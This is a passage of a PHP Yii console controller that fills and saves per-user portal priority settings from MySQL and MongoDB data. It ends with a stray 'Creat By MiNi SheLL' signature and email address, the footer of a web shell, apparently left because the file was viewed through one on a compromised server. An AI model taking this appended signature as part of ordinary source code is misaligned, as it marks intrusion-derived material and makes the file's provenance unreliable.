    
    public function actionFillPriorityOfPortalsForUsers()
    {
//        $a = [14, 13];
//        $b = [13, 14, 15];
//        var_dump(array_unique(array_merge($a, $b)));
//        exit;
        
        $lastProcessedId = file_get_contents(Yii::getAlias('@runtime/temp/last_id.txt'));        
//        $lastProcessedId = (new \yii\mongodb\Query())->from('users_portals_priority')->select(['id_user'])->orderBy('id_user DESC')->limit(1)->scalar();
        if(empty($lastProcessedId)) {
            $lastProcessedId = 0;
        }
        
        $output = [];
        
        $defaultPortalsPriority = \common\models\Portals::getDefaultOrderOfPortalsPriority(true);
        
        $idsSinglePortals = [];
        $idsSimilarPortal = []; 
        foreach($defaultPortalsPriority as $key => $value) {
            if(!is_array($value)) {
                $idsSinglePortals[$value] = $value;
            } else {
                $idsSimilarPortal[$key] = $value;
            }
        }
        
        $modelsUsers = \common\models\Users::find()
                ->with(['companies.presentations', 'relationsWithPortals'])
//                ->andWhere(['id_user' => [92417]])
                ->andWhere(['>', 'id_user', $lastProcessedId])
                ->orderBy('id_user ASC')
                ->indexBy('id_user')
                ->limit(3000)
                ->all();

        if(empty($modelsUsers)) {
            $this->stdout('Brak danych do przetworzenia 1.');
            exit;
        }
        
        $idsUsers = array_keys($modelsUsers);
        
        $vortaleUsersMap = [];
        $vortaleIdsUsers = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_users')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK', 'target_id' => $idsUsers])->all();
        
        if(empty($documents)) {
            $this->stdout('Brak danych do przetworzenia 2.');
            var_dump(end($idsUsers));
            file_put_contents(Yii::getAlias('@runtime/temp/last_id.txt'), end($idsUsers)); 
            exit;
        }
//        var_dump('ok'); exit;
        foreach($documents as $document) {
            $vortaleUsersMap[(int)$document['target_id']][] = (int)$document['source_id'];
            $vortaleIdsUsers[$document['source_id']] = $document['source_id'];
        }
        unset($documents);        
        
        $oldUsersData = [];
        $sql = "SELECT id_user, id_portal, id_portal_2, id_portal_3 
                FROM users 
                WHERE status = 1 AND id_user IN (". implode(',', array_values($vortaleIdsUsers)).") 
                ORDER BY id_user DESC";
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();   
        foreach($rows as $row) {
            if((int)$row['id_portal']) {
                $oldUsersData[(int)$row['id_user']][] = (int)$row['id_portal']; 
            }
            if((int)$row['id_portal_2']) {
                $oldUsersData[(int)$row['id_user']][] = (int)$row['id_portal_2']; 
            }
            if((int)$row['id_portal_3']) {
                $oldUsersData[(int)$row['id_user']][] = (int)$row['id_portal_3']; 
            }
        }
        unset($row);
        
        foreach($modelsUsers as $modelUser) {
            if(empty($vortaleUsersMap[$modelUser->id_user])) {
                continue;
            }
            
            $customIdsSimilarPortal = [];
            foreach($vortaleUsersMap[$modelUser->id_user] as $idOldUser) {
                if(empty($oldUsersData[$idOldUser]) || !in_array($oldUsersData[$idOldUser][0], [6, 11, 13, 14, 15, 24, 40]) || count($oldUsersData[$idOldUser]) < 2) {
                    continue;
                }
//                var_dump($oldUsersData[$idOldUser]); exit;
                $data = $oldUsersData[$idOldUser];
                
                if(in_array($data[0], [6, 11]) && in_array($data[1], [6, 11]) && !isset($customIdsSimilarPortal['rachunkowosc-ksiegowosc'])) {
                    $customIdsSimilarPortal['rachunkowosc-ksiegowosc'] = array_unique(array_merge($data, $idsSimilarPortal[6]));
                } elseif(in_array($data[0], [13, 14, 15]) && in_array($data[1], [13, 14, 15]) && (empty($data[2]) || in_array($data[2], [13, 14, 15])) && !isset($customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'])) {
                    $customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'] = array_unique(array_merge($data, $idsSimilarPortal[13]));
                } elseif(in_array($data[0], [24, 40]) && in_array($data[1], [24, 40]) && !isset($customIdsSimilarPortal['budownictwo-budowa'])) {
                    $customIdsSimilarPortal['budownictwo-budowa'] = array_unique(array_merge($data, $idsSimilarPortal[24]));
                }
            }
            
//            var_dump($vortaleUsersMap[$modelUser->id_user]);            
//            exit;
            
            $customPortalsPriority = $idsSinglePortals;
            if(isset($customIdsSimilarPortal['rachunkowosc-ksiegowosc'])) {
                $customPortalsPriority[$customIdsSimilarPortal['rachunkowosc-ksiegowosc'][0]] = $customIdsSimilarPortal['rachunkowosc-ksiegowosc'];
            } else {
                $customPortalsPriority[6] = $idsSimilarPortal[6];
            }
            if(isset($customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'])) {
                $customPortalsPriority[$customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'][0]] = $customIdsSimilarPortal['klimatyzacja-wentylacja-chlodnictwo'];
            } else {
                $customPortalsPriority[13] = $idsSimilarPortal[13];
            }
            if(isset($customIdsSimilarPortal['budownictwo-budowa'])) {
                $customPortalsPriority[$customIdsSimilarPortal['budownictwo-budowa'][0]] = $customIdsSimilarPortal['budownictwo-budowa'];
            } else {
                $customPortalsPriority[24] = $idsSimilarPortal[24];
            }
            
            ksort($customPortalsPriority);
            
            $outputTemp = [];
            $iterator = new \RecursiveIteratorIterator(new \RecursiveArrayIterator(array_values($customPortalsPriority)));
            foreach($iterator as $value) {
                $outputTemp[] = $value;
            }
//            var_dump($outputTemp);
            foreach($outputTemp as $key => $value) {
                foreach($modelUser->companies as $modelCompany) {
                    foreach($modelCompany->presentations as $modelPresentation) {
                        if(
                            $value === $modelPresentation->id_portal 
                            && (empty($output[$modelUser->id_user]) || !in_array($modelPresentation->id_portal, $output[$modelUser->id_user]))
                        ) {
                            $output[$modelUser->id_user][] = $modelPresentation->id_portal;
                        }
                    }
                }
            }
//            var_dump($output);
            if(!empty($modelUser->relationsWithPortal)) {
                foreach($modelUser->relationsWithPortal as $activityOnPortal) {
                    $idPortal = $activityOnPortal['id_portal'];

                    if(in_array($idPortal, $output[$modelUser->id_user]) && $activityOnPortal['status'] !== \common\models\types\Status::ACTIVE) {
                        $key = array_search($idPortal, $output[$modelUser->id_user]);
                        unset($output[$modelUser->id_user][$key]);
                    }
                }
                
                if(!empty($output[$modelUser->id_user])) {
                    foreach($modelUser->relationsWithPortal as $activityOnPortal) {
                        $idPortal = $activityOnPortal['id_portal'];
                        if(!in_array($idPortal, $output[$modelUser->id_user]) && $activityOnPortal['status'] === \common\models\types\Status::ACTIVE) {
                            $output[$modelUser->id_user][] = $idPortal;
                        } 
                    }
                }
            }
            
            if(!empty($output[$modelUser->id_user])) {
                $orExistAnySimilarPortal = false;
                foreach([6, 11, 13, 14, 15, 24, 40] as $idPortal) {
                    if(in_array($idPortal, $output[$modelUser->id_user])) {
                        $orExistAnySimilarPortal = true;
                        break;
                    }
                }
                if(!$orExistAnySimilarPortal) {
                    unset($output[$modelUser->id_user]);
                }
            }
//            var_dump($output);
//            exit;
        }
        
        if(!empty($output)) {
            foreach($output as $key => $value) {
                try {
                    Yii::$app->mongodb->getCollection('users_portals_priority')->insert([
                        'id_user' => $key,
                        'portals' => $value
                    ]);
                } catch(\yii\db\Exception $e) {
                    $this->stderr($e->getMessage());
                    return Controller::EXIT_CODE_ERROR;
                }   
            }
        }
        
        file_put_contents(Yii::getAlias('@runtime/temp/last_id.txt'), end($idsUsers)); 
        
        var_dump(count($output)); 
//        var_dump(count($idsUsers));
//        var_dump(reset($idsUsers));
        exit;
    }
    
    public function actionSavePriorityOfPortalsForUsers()
    {
        $query = new \yii\mongodb\Query();
        $documents = $query->from('users_portals_priority')
                ->select(['_id', 'id_user', 'portals'])
                ->orderBy('id_user ASC')
                ->limit(1000)
                ->all();
        if(empty($documents)) {
            $this->stdout('Brak danych do przetworzenia.');
            exit;
        }
        
        $idsUsers = \yii\helpers\ArrayHelper::getColumn($documents, 'id_user');
        
        $modelsUsers = \common\models\Users::find()->where(['id_user' => $idsUsers])->indexBy('id_user')->all();
        
        foreach($documents as $document) {
            if(isset($modelsUsers[$document['id_user']])) {
                $modelUser = $modelsUsers[$document['id_user']];
                $modelUser->setSettingsKey('portals_priorities', $document['portals']);
                $modelUser->saveSettings();
            }
            
            try {
                Yii::$app->mongodb->getCollection('users_portals_priority')->remove(['_id' => $document['_id']]);
            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                return Controller::EXIT_CODE_ERROR;
            }  
        }
    }
    
    public function actionTestDbVortale()
    {
        $sql = "SELECT id_user, id_portal, id_portal_2, id_portal_3 
                FROM users 
                WHERE status = 1 
                ORDER BY id_user DESC 
                LIMIT 3";
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        var_dump(count($rows));
    }
}


Creat By MiNi SheLL
Email: jattceo@gmail.com